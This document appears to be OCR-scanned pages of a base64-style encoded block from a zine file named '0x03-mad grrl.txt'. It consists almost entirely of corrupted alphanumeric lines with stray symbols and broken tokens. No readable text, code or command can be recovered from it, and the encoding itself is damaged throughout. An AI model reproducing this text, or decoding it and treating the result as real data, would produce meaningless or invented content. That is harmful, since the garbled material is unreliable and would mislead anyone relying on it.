QGW8E142Tp6mEhbSbzoAKkIQPq7HER6NWCTjGh+Xx9CrmX0TUw+ZyMZGhPJe+14CKI
48Q8XkMgNN3DyH8khMuY1g28UkXsTOtGa4NCzysenl]jBrnwygw0094xf0J12ks8
XNaUKjzRnjHOcgM+XkVSUUNWQG5g/8IvagxcfIMMoKiuCX+QMjT4qKrTUMKEIVV28h
n1INsvjL6LPkMPScbyBvp6hfg7YeRtj6+0RpCaKyuqDgG7BMgM6Gq4AXTVFDGSOPCck
Tgc38EE5DrLnVjmuvgHwbAsuIj2j4adQpMuz4uOmgnbXFa/VN65IMe2xIALIRFi Xy
NJNGTtQFNWzPIKe04S5RHM2PUZyxcgr5m5YIDH25kthuIq9r7bGAQp/iNMmzgoqT
Ngci9LFPKU6]jCPVNbZEU1S/m8Sg6uB9cUrw+7xCzOhgpYFmv/7uBQruNoxqvUSB
QDRBQ8zBPs43YdgCl1lrvolzlk8vKkmxdkgSsT/0DzhgIdc/wudIlha3LgPgMITYa
Qgz5457j581sbh2agysyw6SsGkaAp/TH58 Fc+wk SWUUH91mhO5Tv27f+tqvruOivzy
kkh+aUnFVH7p+tsm4ZE9UezecNs4PLLHAGETda91F4ygivIKWSE3sTiu6vHntqol
D8dCANGXLL66Tuy6wexXzoM58IbDgez4wW9INikKbYUjIhmezOMvDAK6+V+rZq9RLX
Xv9yDXkbDT6wh/zo5pcdE00303fLSb7XxRxvn+sYfabx5uTuv43zvswom+R2SawBI
6h1lggXxopxDvv1jnfedxv3N94AN7BCwtS3mg6BcfywIDouljcedzwll 3+sQHtZ3VI6
z8BvoX8LX0QWoR0Ov4/cbb08HUOQPZMDh/akATbGqsoPnIDVHV16T/1XToLaBalkv
LVXTQRO51f81Xx00kLT1IGnXAurzH6RsCc3gNF+Xx6BOUlZXnHWS6ZzZzFqVqtyDHr+XG
8raPbUdNL+rXNUMNCrOUecaQd5dSBmuuxCOhIqjQOE+NEs5PLaNFchPrvIvgtfma
+bvkRQeb461iFk0JUivhsN1Dipe9Ihm4My96YeCKIytoMHXShBKgxBr1kYSXEn6b
w33wfqlz9vjsDQlnEp9I0pX4Yekntrok95004nhIgqMsbK3/P43rq+D7ZPMybIIFU
CHCGkIe4buH3PKL5WIhrhR45tUPTIKgTTYtik5uszqohTvlvylXxCw+aSJahx0V4R
Trne0739vWcGRiGMyIkQrywGBvn7kCqaT5v7zSzXocMXdTDI3qdPu5zsQsM8Iwk?2
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0x03-mad grrl.txt
18v/GnGueOAe+9mc8I1zscuCN1lgp12TcgvOC+RezY1SI1viCvRPCghvIZvKgFp3i
wVzP11lcAJriCyUvlGRbShxHkIzz0A8U1iFC24RMCVxnaw/IGBvaMHuke/2XhnDtk6
SzL40IxQwmlz7J1gXAeLVAHUZYEJj+HeipbjYLDQatim3jpF178gKj+VIRIQEKI7
tJ06qI9PkU6tulaNj66UXygI2GXEGOWKDZ/B7yfo8QC20E03ap4PMsk8/vYh31Fv
kVvPbI7heAGcif2RE7WQIGPMCLOVITKA+PpibgLniYdQLcgoEwwSSHaGBsD11TBV]
FgrmJow2wLYp5mHITPV71jwrPAdm+mgeDNV4SThLCh+fok8jSIZ8EKjsejom4IoP
v5Ti0CSTwxBWEt25jkPVUOI+noKEVIOM7vDVUhSq6A36nvDOVOmM2iqgkrlhG5j11
9jotunagwWEF+q7XmJtRB6BS6XAMW/86Mr3wbEpASYs0JI3V2RpknME6TXxqTow]0s4]
RO/quZQleahS%uk5R004v81eP11Vy90HKuas9rsgiwaantTQck496wG01D2a
9aRByhzk/1diwz7yKOL5G0aszq5t+Shohsvyw10chBHA3WQivRUtFIJInfYoxfofj
WrN2GFphzt0ogzCD2FG8C1Lcek36rbCEVIHOZGX61Y70E2Lsu4ZcGhDOWHDT41wrc
wAbTFfYMfQ8DyTayVv5ux63kql2e28b63csrYbfRNSgN+I1TIuz6gjmw26WBpFyVpd
LOXxQ1Tvo40b7n+n9BK86I153GLxcubmxqGjncnxny8c7X9zNV7st++SZKrxgN8+N
LscGoDRUa8nwpPeubTwp/P2ThjIIx81 IWf5+TZ5kWGs+9nBsyEI+0bqFOjNCHiV8
MgHOXZZTAH1INeIG88kHo5IVzsmyozdaY2twS+fUZCKPQP6ZtVo2HXhTIP7R7E41
JrvzHinFNCwnktf5A0Cp5RSITAOTSATfSgi/ngBf5z/+sBHWNB1PF5AtZgjpS7wi
00ErkkduBdw3eHAhiyt5/ADCg1FtytOnKVHKOrN5GIJA/TLaQNi FHOXUWFRDKJI58
EfFA0fN5xXx+TJTh5D3hRy3R1+S7EQI]5GjECc33fwwsoSblwHeET11Cy+tF1hA+s
oVT16HWEd6yh+epb7orKLuFTnonSpdihF+eT0iC5/bkGgItIs+A5uU2A5/g2A2Sw
D2jqrrRDL5dRh4ayR1+h1tq0+3g+y7RmQBbildeooDF6jAwWu+phgg7dToBMgDUQrH
gcEHk6eVkKz6DEbPH] JHGXhXPOHL1yt9q5ZAHjQfMB8SwSwTT61XD7 jMeqpPw+CX TXXNwp]1kwQ1tz056503I+PthSPtNSP5QVKI71h
fHfAEChg4UAYuNowc9tT9eR0O+xk8BHmMY5MLNi1BAMMDL4ITA3j8HSrrwuygPMxoi5
T87w3z/CSVF4pLQUOob+A04HYybnJrru0j3UXRDjUOF8IhT+PEVQOOCCIMGZRE1P4
XuSOotRPALNMAggTQRCU+DEHTISUtKHFXTYPqzgJACL31aoAgTR5+0gaDtSnIzLAL
BVMOAeJB6jVOW3A3V8D8Gvo15td0OX6IHD75cGIC5Ke50TPN8t7CPfy/df1HOrso2
TkggPJoQm82dj14T1iLw7BU7qzzTwf8S4KwS/EuMfjPjGjTIHFiauqcY4ejAPTTby
WvI+HtYqwiisSMkaemiIbl5TKwdQ8x1Gvy2EN8VVvi8GXiRPgIfITsGntaXebAE2SL
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0x03-mad grrl.txt
QH40RWWTQFs79rR3HmwWUZkoCk4ha3oMUxeS4DCwCjBpd61HCc1Hpk+SRZhNQFUMsm
hHjqINFRB6Er052EpPEXRC1crzvX1GIZI1+SAgPTISRTX8hWCHOKIBQXAVISZFSrN
gE81TxU5rki3AB95NEId4PLjXYWNANZtOORYPUBYSNAjYKS/BCakOxpG+tweUnzc
9j6+EijwSeszUSmvgNR3GQ6CDN6LIZgEWNRG6R7 /ywMRvorkRmiPV3BEVHOkWOpI
19x00uCYOxuiUCRXARQjcB6dsx/DKT7DLKkzw+PcNjZQEGk5R+Qxv871ZjYAhEOR
AKttLIq5Srl/Kl1ivea5FqmQ9KNXRrOXRIkUUbQA2fR51ROR74/pIiNF3CEVMUpwe
qtfzj5eEY1LXrb0aIlpPzjkAvwQzmMl /e6F8FBX11X07BJ0ZCI+rGN3ITULFiub5yV
04JFRihd/IgF61/pWOC1rnRSYPUMEBUUU8+FJIL1+BEt]j1dHXs21iCG5KWQkVTsIK]jydNDPpIruGFcq6FoiGSEvuDQ7Mv4I
jxH8rMsbMfjmUoERMkcWHgCSbYWQGspcft5Jozriz+sv9AazQib5h11CcxCc9Glot/b
21wjHgTkTBACEFYMHEXV2GANZUiQsVIHNTIA7LQdZORUAE+2eC12I0YyM3zpCVvTB
wvq9fzbmc131Sb1lUzYP2QNUACPGGYV2tFGaTTVetGHK1Cx,/b9GDMI j+IXdDSUbQk
wsud7YeSP50UI+sbuOBUOL6KNdZxZLLYWbRfHHY1saanVoR1zTNrxNgFgJOBCtjE
LihjODgFBe6GYE7xSUaDhScFU+4Pwvz1eS5dCPWhHOYNIIZKFOZW6VbhS5 INV+YTT+
3chinaw7FfKuCgoT8pwQYp/0IQ80KOSB76P3qd0r5sdQ7 fBCWP/UfK5XAFSLOSIC
VPRSROBUIr1XOACk5MyjSTBLUWOPTIULUSIC7jCk9VINSCIXcvcKuabdvH6ADYWF
y4du0aHI37S9E+9MCewpK1l/fCwlkgfpHWHBpBe58SRTWL4072sDsedvd2Hcorurn
Gts9gmM64tworIOoB7GTtKPBUAZcUBWbs5NgznvwH442AEGZev1S6rsifdaOhol8y
AVea2eOMdEQPU/DEYf0Y9270Gr21sFRCb1XnaEIQvOIDRr3V3DUwXbMH8UZaXUbh
tUgRNPQWXk8bCUd+/1x8p41BvIbWpCBeSYMHKjKPU+1iIgEC8D90OWSVCPawlBnE2r
pQy4wtz8,/DIUqdBpXEmMH20q0T1dKnbD6ENMNRY739Z08GNn5IQjGroKT1umQ4k INhxSm
0L 3G2G3gQ8af0qgs+3TBhcIeNuqfzgQbchbk1ROKFZ5SmMHNTX5XRTRO/w2k+k8cI7x
7HcyLacz/PYEb4TXSzk1b7ru8vxDXiezg/UEWTIEQcTzkpOvovpgE2TPXynwKOX2
R+11v+fbqcAt1T1dghSx5RNGnUs+8kuny+RkCM+NgLSXZotcngTOBQLjOSWE/5M]]j7N
fS4ga+Erg4xXrpbD0yALgD7GmuQkL4y2S9RDP340moDDtQg+n3+48t5UrMPNnevQqgB
ijz4nAyZBanU78n8nqufj1Q/T7BFyXo$MOch11sT8WwE+2cGIk4Sv+cthyC
m78bx3+xDzV131jFvzkpeOKtY7W7jzmdubMfsyNtb7029PxRsz4EB7qrtzk8zFEz1
ItBWSWtBKNnuYOtDS8XxND7UGZHW6NFUZW1IiHbat1jCmk67mRNuU/5jHrXx2xub6uN
TrPuQvMaL24gfkdm92dkbUfx8LZF41IUQtLSY/HE17jUtFOsr0/BcU+0ODWDKPnNEUa
pl1coj/pHND7hfAZ2m136096Im3ugoefPZzS4NXYHA5TVGKVY06gcZ7VMgxKBSjVL
7zjbe0T105BkNzTyfcbTjGYOhb/kbwia80/ZBOIgOtLAtpIMWS+XCTNOpJIXppusq
0I1d+QVAgAnn6hfvRMbF4W2ELi5T]+0+zAF8c0iBud808fNfgostw6PgLU3HYe+X7
+KRp3MHdpuyMf7AKP1CBXIBtiHCc6qyCcEHWYVYyZceYHzPBCS03DvDnWYhXS/1P5N+
HKHcwe6r3vfp2yoDYkmRMnmmK IMNee+xhqlUuhveIAZwRU/1 jMURGNrn3wWNPRw1YZ
babnghAs jNppfcxdgrwExr5gYRCLGVAGKtMUPihRP1fXplaC5Xx6qxhsrui8e6GSD
gOE5wd34x+G 1 TDBNBSATOtNSWR6EqZzmulhbw+L5DFIAM/2ERT]j/IIWIQakt532G
/972WIcw3BFUJp3hKaRuoM7wi/JD2Z0s+0aRDCy3nbaDy/cOALLdQjOcejdtfcs+
1nRIASICL6XCh+RSQP3f80onyN312uzCwsvsoeSnApHyDgdLs61/GAPQQF/YdPNMM
JHN72srPZ8xPRzI9PWONrE8DZOXup6LVFI3/fTIW/b31/GQMbMTNNL5654HNTEL]
rdwHOu9Ya/2hFGEtC91iXpn+ndN1554ag9XpeMxyYMIq/5h1Ccp7qQ2Nmf/80ddPvv
9zdeavnD1B141iUmrABQfKrwhtNG43vxcd2dxfrSGUROviae5QcEkee3+QQFQAILV
VGbMJ /svWHgTcr6MYOEdASTP7HIINFL3T1c0ITntCt5a0Cjws8DaNH5WSZG/GFNi
nPQ3qg+rurclj+dso/B2zLN6aUWADYdN3tdnwInP4VLqSMszN4BjZGSwCFgbI4tHP
6F3gAfqpirKkWQYECE1LIGIrPz53rAWAMCcGXSTKPvecaTwbHFpINOIPjZIgZtwsSj
1GPmbULW2Iw8Z7hN6A7t2eHejAq474 rvBAUHBEHMYSSsx4Ay5p4rBrmDr5/vkxNhz
Q9zXGpSpPWCS8nUi7qE3EV4p5dnLAZiewgTTNDIP6K+aN1I0+THI69dN+tVPENT1Z
YVNUMXS1w93NgrVUFLi+KypcT3SrjtiiIwzyzOGXLOkfLd+qz7P136wgOwRFxd5z
0ex2IXaeQkvQos6sj13EK2Pqp6FCWVRG8mM/KtoVtHI4dwIkxCxePWkmX604K8/1A
FOroHaavOFfMdTart832sbonow+tT1CItNTk4BF6WXSKNPtQfRjNHCcYdZLUEaS+Ve
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zY3g35rbLxebLkTsvieEHMMCrpYA2VFiLzZfvocQayhsxXumiTvQpKKkEhzS70E8+
52Q8B5yMm5¢cz/I/86P4fiKpjoxiYks/dEZSI+Z267gpKQnz1Mwl7jniDbRt/BL8II
fz+QXdpXnYB3C6YrucQ37AaN/2w3XRNEYy8N3Ptr/TyIzGf/vR95zdy4mdoAhENQyY
FQgM7z8yuP3fF/F73j3QLD7j5baNPKYTF17JEiPzaT3KHPig/cUdwpKIDSE+5tGYG
uMOFY77JIrLF9HVijdbAh%X8wVWHS1We7znqupjm6wdrjFBsttquTQZOfrZM 8tBXFWX+I1yMTpdZwSmBBCQISXCCYCM5fiTamu8I
IQhYLT8Q998Qwv533H9PaNkoBh90UZXxxQxbjuwm2Er4830D4Pjgc+Exh8ve0TB+1
2f3dINctckLeELROTjKzZMYInfXQgMxfw/NP2QeKc0jnbSFc80bBZz0ZvQL7RYYQ4cC
SPE4CAKQOEeoggClBu+TgFgxfq3ArdModGAG+LWZNBMdyOTqPZMhEz7hhvvgm4ql
Yd9u1fc071rukPv7xXmd838q2T0Q80WISB5LBIMZwzoOMVBITRAFiUgOTfMImzGTPC
zral+MK9Yf2hkt+cws3MQb4chyYpl5N9Qniz0jEUXVIYUjIoB+28YmTgNrT47k4vp
uezh7toBBvdMzkiBLzNZz4ENHZAFd]jriUDCIUwWCFPISjiHOR59gBV4izTa63+dHTU
NNtuYf+94ANTTi FENNkSGTSAdCIEIMHF3pM9Ikzt6g0S/DTZRBEdATGd/PTPCYVOK
DwWOK9Rz1CXmcTLONhQs05gQf5sjQdICcSMOkxcatnImfGi F6cx0zTXDKHSAuykRbB
MOCNgHZAT60UqBaUOs rr+mBGgs1AlzMew0z4yjwR1labFLfbw31lusaFnskvcqFzdo
KE7j4nY8mJEZIxzG90wd7kvz9GyVPIuLSvx47JEf//huGeQlgbwpYD3FIdc91dYz
yhswyhdiF7znjBQjC/Cgol0ow1kXDbkAEebpwqrYBQIGIR31cPrdio9tczf+y108
9W5zZXmFj6q1RVRWNKpDeUFX7x6xICcyiMkgm9IKiUvz6I9VIXYjDIX5vVEUgLSHh
67CINhC8XwWQO1i80xZ/n8FIUGSgj60HIGCVHrIBjbz74G1Q96aBNufth09cHbfIY
Owf90bEKXh+r+PCD/0e8ro7CkB+21eedi9uo8861ypBOVip05mcINIR26qSN4XU/
JCL3hOFBqj34Geq5mke/fpvoOwv4jNyzQPfFbhN6hEGzPpy/ETub+mYDukJu2MB+4
0JCbEVVTAYRPH71g4g+G4huj+CNes3HzuNmc/ACy/VgNHGQgXCh+DGDARBGI3Qfy
Hc3m2haczyA3Yc3zHEmOoOeYjzw/H8 jmgp1FLdkcovlofairjvvCstulKkgzSLdxo,/B908D4A0FpTdmHXo/Iv8ofUIbbgltjzyOIONrMrbHi
BQGU6WgM7 f55ZviW17jOVCSEP5KYPMQATM]jfe2LQSASxxew/7MncQs5I90pECtMC
FEFZGJWEkmN7CvEZs1KvzgkagbpwCD1apQ6jxpRI0CY75geDsjjfabbGZE]jPpEGY
VWN2X2XEKey+utt4gRATECIeiBSUNSYNGpTHshHMTwzDHNYez13Q9DD7UL4uc/0j
30jBkXuqn48SF4Bw5ShxSMQANbhw8KHCU7AI7wgN7mv83aw60fwrCpMfkzeUkFSu
PLAMNtpME]j13bJWF3MH8DhI78AIUYNp+OROwWqvI7grwvi/jgAxLhHmd/CY/wOMN4
cj1iTFAdK/j9y3jAMPECEZWYAZ1k94dc1wUzjxFx4192coxYDIV6aCawEKDIOyYSr
21leul+33R1TH0IB33SJugyyOYME2WGCONR327MAUYy2vIt3L/vKtkKx8qI6Zoi6hCa
ez+tds6Bm4LdhIAx11Y75s979j6L92z331ScDStNrXe8v3Y1C+IRkKIGOrul6BLOQgQY
RP69xeSkG5F7hUpjPwCpbxjqj5TXuEXjvTfwUiP6g2GNQV/995KNSGNs428q/hbG
24XxdiHejm20y9+aic1Upp/thHbRQcH4ge1SSGSthje5PUq7CGhE8NeEL8Epj$
PXDDSQML4v1qLUWAhEd5qvmESGCcFfRI4uOtu41lubtSTFpR/60moc/bbm11r6RgN

Dvavf4hfHeh/oPvxzZro5RsykfzQi5QAP/GNTgFezrvL/HixcLFGynbyS1YXqOsrb
t/tw+ozIa8Lhz+9fmaTfvlRadPxHfP200iN2RESf/1LZdP8vu5SmcNfwMgk tXFKMs
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63T5mvoE9YuUFVbrpevukh/+xPfRowcnqjF1zI+nurJHWnDrw93xg4kbCc2hAbi/jy
A9z1i /ruLwue8vzz0rTXn0dCvHy56+hrlwfB/0InVPK8DM]jI8GMUZM]jSKMgZpychI
0z3 tkutmTISIVUZBI22GbRGk2ugOpbFOhtVnI9WKDVthtcoJTVP% p+Eaez6hCp
M8036ESLT/Pp+BQCS98hVsKzTqwOXR+xzUukPSu2LLbI5KWtz5iun4rG+ucCdiva
tglL/GzI+M10/501LKh8n0OdE6VYTQVBIOhEHrdouT35qun4BikzGXUHGbrs01i2YSH
HCcN/efgTXXv8rAORCccSDNO5SAVevVLKygbFOsHaYWVPAT 5Wwv1cVHXbtMVFIn3yAhl
GMzu516BCcAHIIDzdEWDY26tFSG6GjDKgHWUIDXXDLawXgnmvkjQsu+I2sjw2VILt
wOVZIKFsEonIidzpvswdf4LBL6Aq63qmuvGOR170VI4sXacw/1u/dqle1xyGOuiR
mx9676F6a9spakMvfg4zNP4Pk1f/tL6L3NKCc2CxC2jVvOHr9B185tn1zkImhl3aKke
gJaePvRBVbnpCom6fpprrE3//11iy06xLC6X1e44QH34YXRI918c2cqNI4qYV3ES]$h62dICdKDCSZJZSFYVMT8bW5QSS'FS/UTPItC'iT4Km0kgO+M
79UamhzhjA8an8PLTHyKr/KV8YN8VW2v0O17mszoHWLWGIY+pQBaxXzpl9sA+gII3/
2LTEiKqOVOHD4E4dRa3puLovfewcTywfdBH+WVODPEGAKtjILBTPkOKhnJYnFpod
ErugskKG8XmEVfUE62TP/fQdEWLYV83729guL+q+7swPxHfeTmz2638L0+UAhwI+Fz
HQAW6t899EG17f3yoXfxrv5Y4PWdAhrvTEC7ht7dRfoH3zeuqTUlpYfu5zo2C+oa
TjgnsGqi+hqvdbaaou96z/VE]j6anv1ooSq0S8Nre6pnbr6hvHO7 rhxesupzafquh
JWES5NSA2NSYPbb+CG3rXdzLIe05NwY29RmMI8TIAQNYK6mMVONOU/+qwdf7Nn+0AQn
IVUOYMoySzoGqv8c2nXxo7z700HvVtnej+b3RTKvev3lexanLBHULpSY1AXIqSKQB
UkFk63cKBYyOFSU3VANiiMdPbhFHvVNGOROhTHOSPAKOO+3F5z/Yro/nd6zspFl8P
fDogmbwUIcSr51ys95SRfjIsNGxbgGQnDKc+h9/veTt3sIrORbd8GzdkrbiLfztv
q6C5Gu7QbvU5NXHgm6te4QoubykOPKDE1fRYVMeTejnr70znP3TzA7Pv/FrlJE6Gh
C+1XSMOVr7MUE2UK+MUeotLT1PbstwTnYUMZ1GAMKLZFrBLOG2 /vStzai8SmBaqsE
tZQzEUOLAkU1KasTQDOh1i F77wmq2wbu56bzakqza3rmIQ9BwIyNV5bNObhHW593a
Bd6wF7S/Rgnd+Hp3Ex1V6t20SuFXxhPTpBSkwrRTp3GuU9xw+1d1ELOUjdCImg4gw
OCCC3ZayKUXtCrWH+vHYxUXbH/REAXB8oD504vVomSUIyJkSly5R51c%Ggaquzb
hCu6k8jMf2uoz+oYjbB2EdSxjKvnyakb1tt2ky7te68CL1xU8V]j1HAjVK6eBUDNd
st7yeLEmt28h/169Ms/UOS9%/5+/53KJkuRFquzw8jkPKxCSUNPAUZlJo+3GGTTPL2dgnLh1e8zGVtGFGX39XNVHWQz1dtK8yXkIypfqgmFYBsynAxTgPh5Immwye9
nNGDJuzzwk1i8zv9/J+aSdXL5ETMYbwQcuqSdzCruusw3ubOvWRYLyLzAa+K3/tf3T
IrwkKAUTbskzgcPm1Y1x0uavMgghON15RNzjS1LUMIA88b10rqLXx6KWv5SNbyYTh7
105I9Fqx4jv+vWuzNqL9PonogKJ8fz16tbhov3TFISITnmPO90bwt1PgtBscpVId
6H7 AppdFf30TwIMUBdINENZCNtXFpmMGUGX558ry0aicXBMiOmTezN/Mwh+hfrpbn
hiukjfQR2jd+8GBDFZn1ekK1dmSADHWGMgUUFNDA9tXjUm+EWAjOEPCOP+taQzZo
EOZUH8106016I0MfwKPgiQhfvxXIqoLXT11wu91lyjr8EqVpLSpXxTMRz3Zc/WNGO6+
bQ5EV7yMr5t4A1Lo5u0CH5eSwgkovIh245WoCXKNXbtxy63A/5RX2IfINHUV/Emo
PZ/ThZrEYGET+/8Y8XKwKI5t4eqenp6ebkAEHBUVCMOCESNEXB1WGERJEKRRQFG8
yc3y7su9iQ+61SRGMkyuOtPGUESjkIVrEhOVS2IiNOFIJYKBZRBXTQAXEFTT2206Y
GRV13gkzSEze//7/n/6m69Q5vaeqTp06SzUSTppI2xjhh4103zP7LSQWTMTuUiQGN
z0IdypnL11vKTrNXzmIT+p5QjOcFsvuo9ee5sk/xnxP615C0s1DTny4hCDHhReD?2
WANSgcNeMHeR15+zysU6ESEbUkwtD1SmgXx0cU87jsT1inLHPMDVMapjSP4SiThw2S
Rt1z21VFQSz3vKo8ftbrfT1ArjhMmQoywSKNMUNdtwroMC5xIA4bcR2zqOVs1iADB
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dGjb+5z4PBPp9dpt67U802TFhmPss+EzZmeUIHTBDMY3eqzWBfP757sp9KcpjN5SRI
BAFG+I0Z4NKCIYHcw9p4zpuDRSj6G+038F3HjTnmwgroKMs11srjrP8YfLUVUMVP
74tIs1YpHdeznOeueZOAC+ac/VﬂY0m0qnmLeQHztmthKc16U710bblSGYOEwuuA sN
iMU11DoC1j5euyBTqoycTMKuvdeCP87BjTQ3vX7SEVY0162YDUF8X+VXXAQQMDIE
ygTIV2xXs5Whh5RjNIOPNANHWUMBCrITGWOj8q9uzfYNaR6pTINRKZ+PgXxBjrlin+
h8CzpoPX8fMsYi1GS8j0z327D1rFIDADehdeT30Qy+1sGfgycgcvI8MHpmaXPZIQH
ofT™MaE/fBdnTpwu/LMiwa+hkjqyhp3D3a+ipXJoc07jS8CNVTDiXVFgNFUwxrbxd
UUOVO5I1FCmHON giyNrRm7LuMvezzMz8ZMT1EK]j8HMNno14jNMgwgeHP42szDmfU
eeFi8juP88mKYiQxe/C3kbRi2rph1V7pX5FRNp5WZiE+zDRISIDEYPS8ME6IQ6ZU
YYWSJA4TIHPFFbYSqzRFf1Z7LSn01bHKcT+4qpwhT10F78T1VNpqvOzZzLTOILEiIC5T6
0qf+hGicwyfvUfV7QEU6TAgaPX6ZtckXIVFzN+vtzAuRRzZMwbMt8P+uDrFcyMbws
pmO6L1ArDVM5eeUsS06LIQOYKPGBZpHGUe24tWrTVMT59WUXVBaAVpSWKaGGAb3 T
SUNXS1cXEO2VMERt/4c22VNVXibkhPMIpXUPuLsfIYezia+9hCEu+nkuubCkpcdc
VLIXbYs1bDINBgA20ys9TWIG1ltNZz1o5sqz/3mqyvdRb1StzGwAH42qPk4GDTWbRS
I0bKygwEhwds+y6KEGjXZJoAzbF6xNfobjgSg8wXaMLLgRNNTECLSynI89MgLnjD
A/1Xhwfi7dxAUOSuH/41qsM3v18DHhCa7hoz+mu+R7KIEWhwIeAKZOUOj/Sy9vwg
XyGYuzSLg8B8ES840qwrNutjLiz5buvcky84z11C315i1BGysNm/RYmpiIs7f152Mu
055rN+m1u5AiZmSWJXP1fgjfthJOddebROLS%BWeSSS3ZHOYICZK8Ud+/O9i5G
061 1lcga+pGowwidzZzVMpRX81p77Xsr2A1IMp6/j1syXzwzzqsyXkk94GTr2yt54f5
1KKJ4ENwWW8YRWLX+Un1lWblejc2sjrrPAebxF+kXs7e6ogMk+vwUYP8sls5c2qktGce
tOMdethYOVp4gOequut3+NJf%HEng7Aa+oCeUGYRp1FCquwA3o1thNRKap
vG4/Y5roE6nS0e5gAdKSYKPP14/mjLbN6bMLI2mS6fm4I90cd4 rXiHwiqyLCw644 1PFY/2DiMQU3dLT ftfdXwCI9P4
jdmlvOoo4u7wKkQpbd6vd1sCG4Ec/BYmMFRIgMD7 fGFN1j9yrBpuj2b4dgkEe2saw50R
DWvIwjgHmTWoTuyzM7w/YdbD+3tmKbyLtVfAPX6Nn1cIq6vTmTkQ90IqVvtR+H43KP
Nm5kLX1Y12ckrs1ljyp+spRcyS8bUOkuYfpGl9CzmeGRI2VymUA9heImur5Rih3ES
BS62M08317LVM4LUs0eM5D09KTHYMSqu/sjQKE15hDo+upd9i20ha+T11GBXgbcxXe
Xz0e0Xi8xfr3JuNyp3zhGi7ZxmP80orawt3vcwihl67fPopzh5MqowXq+X+9XSz51z
objtB8xUwWM1liHFm1ldBrzFsAzmXfgXxawT4P2w3tOHVAKPDSRt39V/KkF1LL9VHZ6tH
/7efL70zL20RML58ESt14BR4qgBT5gDCcXx9RUKbaGncr3jXpPz/11yaUmBFDEISeTF
mmuogu4aNo+Cs0tDSLtZHS6dMstIHG3 faprud4gn2obno0Pp1btGddRbKMOUOAB+]
DAQDT+6QUgMk94QxSd6vh41w+54a1Z23SDM4dITWtrohzC8yEsSFFcXrBq8pPI0qPgp
ngzZctetwWUJJIDRsV]j7ENNZB5pjyi36avYEKW6C7pRYK6MDAXeX91cUPUWL5UH9 gw
1I0tINX3ZzRe7Yy2jcImp5Tuq6fzu200LWY3bAh1XyZFn3w2YeeyqsMvsligUu93A
ARzCQecgrgAzdA/KX+UOLOQi jOEGtMsQjnnmkFtHCNSXSYWFT76J1CpcSybQh3kAz
Xit8A42h0wpzyGS6RINi fU2vBIIKe+e83cmwWoLH20ZawE+wqupkNCCIBIw/+1bAP
NYRLAVTSR/Rq+]jI7S0ogNQtXOXHbVKWNbrCcsg83TGSKAHXGX1XQOIEuBM8Yaw110 fw/Mw+IR4AVVU7pgbENT44+p6TINZztR5suv66R8k:

Page 20



0x03-mad grrl.txt
BY10FXUDEVNNbFMqST7tVFMyn2SazBvFhIN6XC8WRUISO1rITFVHiAkTgDGKKIVk
airg/UyjecYOYbHWNCaxkLNUo3LaU1BHU1qtNHNEUgBWGXqEUpTbxD/TTAbCVUOK
rJcHDFgXBEsm3w2uaoL3Fy/1429E+2BIXXqpS50wT69IKNa7qgMFKjLhe32BZyKx
TFM+kSjwfNn9vgb8y271BS2wpjnha7 lTUEXBj7GNtIrEX7001 j+h9ImtIMwnfRLfpn
hwH2ce0g8v9IxzTpAMCEB]/XEDPGSYPXNNOT27syETkyjbfful3dzL/jfzdy8Q6wjz
6JFusoekzqlwezfIncDaBLONYJ9evaw85SaQpyShLOWCSNZIASmbUXSHeC8r9wz 1B
SHWIT17pLEpI4zxJugqvIMU12inTDaMsC6VerX7v6/e8PujbvX7c6B2vbq5czz6vK]
EoAUDmkasoJbsokvroC7jnzHk+0E0o1kGFUTS07CixFwDkyYXCdvl/K807gEdRPkS5
PACivI9yD6ZJte5R30HeIF2RZAYBU9wqtwjo5BZTefukrovd9/+wwkknX41GufOL
uo74Lb4t2kTHh0Z2dMC7ZzUmHe 1 FWFiFeDzqiBR3RpPp55NR7SVIK4U9Fjcm9Y9IIv
06P6516121TwvN6/GHNRTkk12kBK92RX9eNCpwinQlRvYAW4IdoDQUMES80IXJ8xX
RTFNXgEOjSh/4aDGD6bQHVLk4gr3qob+GI9EMO192jzxu+ROyAWI+HXIy/DVHSFYhn
fzb58+2m13Np07uLyREL5Bib/PoDj/fXxnwg/4vt13zzd0ddSxBijTwpI2h+hkOES
nHihD88V3GM8PFvWpvezMgK8RpmOPUggndEmMO6tavtsell/VZx6guUOeOHOTFwnxV
178/QqK4z331LpgQGLpnmd3B175D7R7sd70gb+W4HvyMdjFEfFhujPuy2viw2Rnlz
+wQK6/I4kz3e6Cm7pN9jvbtXxonQw8CV3+9p9L7kuagdFN+8rdF2G8n6B805Qwbnn
gjPd58ro6pvxzom7zAK7qegp+zP4CPizePMC2Gd5bkrph4yXMLEUE/MeG40H3vvp
3g171+1dv3dtgbmM70d0quY22Dj8IbE45zjjONpXxuvINwWs TATDCT1GCGU5qj8QiGIs
M9Inzs5Ia7jo0ANq2QjwWpeFReE7QpTnBt+YEO+CEO+YEt4ag3xGpMbvaft5r+/L4x
000wvwSBrrf61RBobraulwFuIZN6oEPaXug+0wM1febXA6XIfXqgEXeCfIC4cZPB
BOX8WDYQQ1R53abVvzyShrdeOHB1U2zSa9Pm/FObu3Fv93j78kPRx5KXT191Gq0al5
w3MB20+e+0bzpC331wqCPi744EDSiS+PezZ4PX1LZTHR+1VOsm3Iw/c5n352921ISP
3AVPL520+uy9f3Spy3bNeG5Rx5HbTzz1YcGo5N/0h23evjAeXncT485N/+jTt4LM
VYRGvTawPav/D45bicM/nDIoyp7qr64nfv+Xv36]/WnccjxXxx0OnvXjrxsfnly4dkp
j778Yd/FR3ZfTMy+8FIV2Scbhfq5LTI8 TkuOhzYXfIB78zZMLKkvWHTHVSsksab9x4Nx
T78svzs4p2Lzt+1Lg00XID71EV227u/9upITdzgn7HjsSv70Ix03Xvzxlaupbwdm
J9BHhs9abPasLYifoPDdP4987mnbHpNj/AdTPi1BD5vjSr/Xc553tKU86z6XuaBA
TKGQRTWM1TpudCdzpA7xzvSG89bzDFCQVTEXNSO9ypStNsgvpu9+afwaLfvGe4u]
060nZE5E7agRaYil2g3aH7QPtIult5CjI+zAv/Sriw6MInwai8Pru6ePHxfuzyzyL
X7C63iDc6HNgjQxnHtCiMiPqiQxjIDLkL6VXAO6L6PX6+i1hrP7aRH4n]j13zp302v
p0d2scfockkIopXiIPvQgPCD49EBOgUuH19AUQuUIrgNeH2viPIBmUbhJEJgOFZhRme
py3p90A9mo6U4TjAUX6g]LbtCGONORYKbZKVZT2NtWOdOFZz2Vci2jq0BaHsghGUT
gTmvKwpr3+6HtjNIhrdwA4nkAxwgewzseRiyD02yDFk1mcRX4J0HwW7myc2x5Jevj
